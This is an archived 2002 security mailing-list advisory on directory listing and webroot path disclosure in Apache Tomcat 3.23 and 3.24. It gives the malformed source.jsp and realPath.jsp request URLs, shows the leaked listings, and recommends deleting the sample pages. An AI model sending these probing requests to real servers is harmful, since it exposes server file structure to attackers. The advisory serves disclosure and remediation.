[UNIX] Tomcat Multiple Directory Listing and Webroot Location Vulnerabilities

From: support@securiteam.com
Date: 05/30/02

Previous message: support@securiteam.com: "[EXPL] Remote Exploit for UW-IMAPd Capability (IMAP4)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 30 May 2002 07:55:34 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

Tomcat Multiple Directory Listing and Webroot Location Vulnerabilities
------------------------------------------------------------------------

SUMMARY

<http://jakarta.apache.org/tomcat/> Tomcat is the free open source Java
server. Multiple directory listing and web root location disclosure
vulnerabilities have been found in the product, allowing a remote attacker
to reveal sensitive information on the remote host.

DETAILS

Vulnerable systems:
* Apache Tomcat Java server versions 3.23 and 3.24

source.jsp
Normally source.jsp is used to look at the source code of programs within
the examples directories. A typical request is:
http://webserver:80/examples/jsp/source.jsp?/jsp/num/numguess.jsp

We have found by using source.jsp with a malformed input a directory
listing is displayed and the location of the web root is sometimes
disclosed.

The vulnerabilities may only work on port 8080 rather than port 80,
dependant on how the webserver has been configured with Tomcat.

Exploits:
A) Requesting the following URL:
http://webserver:80/examples/jsp/source.jsp??

Gives the directory listing and webroot on 3.23, 3.24 just gives a
directory listing.

<title>Directory Listing</title>
<base href="file://localhost/"WEBROOT"/webapps/examples/"><h1>
/"WEBROOT"/webapps/examples</h1>
<hr>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32
height=32>
<a href="images">images</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="jsp">jsp</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="META-INF">META-INF</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="servlets">servlets</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="WEB-INF">WEB-INF</a>

B) Requesting the following URL:
http://webserver:80/examples/jsp/source.jsp?/jsp/

Gives the directory listing and webroot on 3.23, 3.24 just gives a
directory listing on a subdirectory.
<title>Directory Listing</title>
<base href="file://localhost/"WEBROOT"/webapps/examples/jsp/"><h1>
/"WEBROOT"/webapps/examples/jsp</h1>
<hr>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32
height=32>
<a href="cal">cal</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="checkbox">checkbox</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="colors">colors</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="dates">dates</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="error">error</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="forward">forward</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="include">include</a> <img align=middle
src="doc:/lib/images/ftp/file.gif" width=32 height=32>
<a href="index.html">index.html</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="jsptoserv">jsptoserv</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="num">num</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="plugin">plugin</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="security">security</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="sessions">sessions</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="simpletag">simpletag</a> <img align=middle
src="doc:/lib/images/ftp/directory.gif" width=32 height=32>
<a href="snp">snp</a> <img align=middle
src="doc:/lib/images/ftp/file.gif" width=32 height=32>
<a href="source.jsp">source.jsp</a>

Solution:
Delete the samples directory if its not needed.

The /test/realPath.jsp sample:
An example program is provided with tomcat under the http://webserver/test
directory that gives the location of the webroot.

The test page of "http://webserver/test" displays the following message:
"This is the home page of the test hierarchy. It does not do too much good
to look at it directly... Instead, why don't you run the tests to find out
what you might want to know.

Oh, by the way, merry christmas.. :)"

The vulnerabilities may only work on port 8080 rather than port 80,
dependant on how the webserver has been configured with Tomcat.

A) Requesting the following URL:
http://webserver/test/realPath.jsp

Displays the following:
The virtual path is /test/realPath.jsp

The real path is "WEBROOT"/test/test/realPath.jsp

The real path is "WEBROOT"/test/realPath.jsp

Solution:
Delete the realPath.jsp program.

Example programs:
Tomcat comes with a selection of example programs that displays the
location of the webroot with no input, when Tomcat is installed with
default configuration.

The vulnerabilities may only work on port 8080 rather than port 80,
dependant on how the webserver has been configured with Tomcat.

Will result in an error being displayed that will contain the true path
used in the tested server's configuration.

Solution:
Delete the samples directory if not needed.

ADDITIONAL INFORMATION

The information has been provided by
<mailto:richard.brain@procheckup.com> Richard Brain.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Previous message: support@securiteam.com: "[EXPL] Remote Exploit for UW-IMAPd Capability (IMAP4)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Relevant Pages

Re: How to configure jakarta-tomcat-connectors-jk2-win32-IIS?
... Now I have on a same server IIS and Tomcat, both listening on port 80
(or to be specific, IIS forwards requests of special folders to Tomcat and Tomcat replys throw IIS to
the client. ... So this solution makes it possible not to alter our firewall configuration
and to use servlets and jps! ... (comp.lang.java.programmer)
Re: Tomcat 5 with IIS6 using JK2
... map requests for all JSP pages to Tomcat. ... in this configuration the
shared memory is explicitly set to ... > manual configuration and in retrospect this
was probably a bad idea. ... > After failing to get the isapi connector to load, ...
(comp.lang.java.programmer)
Re: Tomcat 5 with IIS6 using JK2
... map requests for all JSP pages to Tomcat. ... in this configuration the
shared memory is explicitly set to ... > manual configuration and in retrospect this
was probably a bad idea. ... > After failing to get the isapi connector to load, ...
(microsoft.public.inetserver.iis)
[Full-Disclosure] Apache Jakarta Tomcat 3 URL parsing vulnerability
... Tomcat is a JSP/Servlet implementation developed at the Apache Software ...
to retrieve contents of files and directories that shouldn't be visible to ... the directory
listing even if there's an index file present. ... The vulnerability was discovered
by Jouko Pynn�nen of Online Solutions ... (Full-Disclosure)
[VulnWatch] Apache Jakarta Tomcat 3 URL parsing vulnerability
... Tomcat is a JSP/Servlet implementation developed at the Apache Software ...
to retrieve contents of files and directories that shouldn't be visible to ... the directory
listing even if there's an index file present. ... The vulnerability was discovered
by Jouko Pynn�nen of Online Solutions ... (VulnWatch)